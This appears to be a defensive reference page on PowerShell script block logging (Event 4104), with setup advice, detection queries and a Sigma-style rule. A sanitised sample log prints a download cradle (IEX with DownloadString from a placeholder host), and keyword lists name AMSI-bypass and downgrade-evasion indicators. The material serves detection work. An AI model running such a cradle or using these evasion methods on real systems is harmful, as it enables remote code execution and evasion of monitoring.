An encoded command hiding a download cradle.
What gives it awayScriptBlockText showing the decoded content of an -EncodedCommand payload, typically fetching and executing remote content.
ATT&CK T1059.001Nothing matches that yet. Tell us what you were looking for and it goes on the list.
Windows PowerShell · Event 4104
PowerShell recorded the actual code it was about to run. Because it logs the script after decoding and de-obfuscation, it defeats encoded commands entirely — which makes it the single most valuable thing you can enable for detecting PowerShell abuse.
Also written as PowerShell 4104Event ID 4104Script block loggingCreating Scriptblock text
Not enabled by default and not something you need on a personal machine.
Enable it via Group Policy under Administrative Templates, Windows Components, Windows PowerShell, Turn on PowerShell Script Block Logging. The key property is that PowerShell logs the script block after decoding, so `-EncodedCommand` payloads appear as plain text. Note it applies to PowerShell 5.0 and later; PowerShell 2.0 has no script block logging at all, which is why downgrade attacks remain relevant. Long scripts are split across multiple events joined by MessageNumber and MessageTotal — reassemble before matching, or you will miss anything spanning a boundary.
Sanitised. Addresses come from the RFC 5737 documentation ranges.
Creating Scriptblock text (1 of 1):
$c = New-Object Net.WebClient; $c.Headers.Add('User-Agent','Mozilla/5.0'); IEX $c.DownloadString('https://files.example.invalid/s.ps1')
ScriptBlock ID: 0a1b2c3d-0000-0000-0000-00000000abcd
Path: Everything else in the log line is context.
FromBase64StringDecoding an embedded payload. Common in droppers and in legitimate tooling alike. IEX or Invoke-ExpressionExecuting a constructed string. Heavily used in download cradles. DownloadString or DownloadFileFetching remote content. The classic download cradle. -w hidden or -WindowStyle HiddenDeliberately hiding the window. Add-MpPreference -ExclusionPathAdding an antivirus exclusion, usually before dropping something into it. System.Reflection or [Ref].AssemblyReflective loading, often used to patch AMSI or load assemblies from memory. Most of the time it is one of these.
What gives it awayScriptBlockText showing the decoded content of an -EncodedCommand payload, typically fetching and executing remote content.
ATT&CK T1059.001What gives it awayReflection against AMSI-related types, or patching amsiInitFailed, which is a well-known and consistently malicious pattern.
ATT&CK T1562.001What gives it awayReflective loading of .NET assemblies from byte arrays, avoiding anything touching disk.
ATT&CK T1620What gives it awayCode enumerating credential stores, reading LSASS, or collecting browser data.
ATT&CK T1003What gives it awayA command invoking PowerShell with -Version 2. Script block logging does not exist there, and that is the point.
ATT&CK T1562.002Event | where EventLog == 'Microsoft-Windows-PowerShell/Operational' and EventID == 4104 | where RenderedDescription has_any ('DownloadString','DownloadFile','FromBase64String','IEX','Invoke-Expression','amsiInitFailed','-w hidden') | project TimeGenerated, Computer, UserName, RenderedDescription Event | where EventID == 4104 | where RenderedDescription has_any ('System.Management.Automation.AmsiUtils','amsiInitFailed','AmsiScanBuffer') | project TimeGenerated, Computer, RenderedDescription Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104; StartTime=(Get-Date).AddHours(-4)} | ForEach-Object { $x=[xml]$_.ToXml(); $x.Event.EventData.Data | Where-Object Name -eq 'ScriptBlockText' | Select-Object -Expand '#text' } detection:
selection:
EventID: 4104
ScriptBlockText|contains:
- 'AmsiUtils'
- 'amsiInitFailed'
- 'FromBase64String'
- 'DownloadString'
condition: selection Group Policy, under Computer Configuration, Administrative Templates, Windows Components, Windows PowerShell, 'Turn on PowerShell Script Block Logging'. Leave the 'log script block invocation start/stop' option off unless you specifically need it — it multiplies the volume for little additional detection value.
Yes, and that is the main reason to enable it. PowerShell logs the script block after decoding, so a command passed with -EncodedCommand appears in the log as readable code. Obfuscation applied before execution is likewise resolved, because the engine has to produce runnable code before it can run it.
Because script blocks longer than the event size limit are fragmented, with MessageNumber and MessageTotal indicating the sequence and ScriptBlockId tying them together. Detection rules that match on a single event will miss anything that spans a boundary, so reassemble by ScriptBlockId before matching.
Partly. Script block logging arrived in PowerShell 5.0, so invoking PowerShell 2.0 with `-Version 2` bypasses it entirely — remove PowerShell 2.0 from your systems to close that. Attackers also tamper with AMSI or use non-PowerShell .NET hosts to avoid the engine altogether. It is a very strong control, not a complete one.
More than people expect, because module loading logs the module's own code as it initialises. On a server running configuration management it can be substantial. Filter out your known tooling at collection rather than disabling the feature — the detection value is high enough to be worth the storage.
Last reviewed 28 August 2026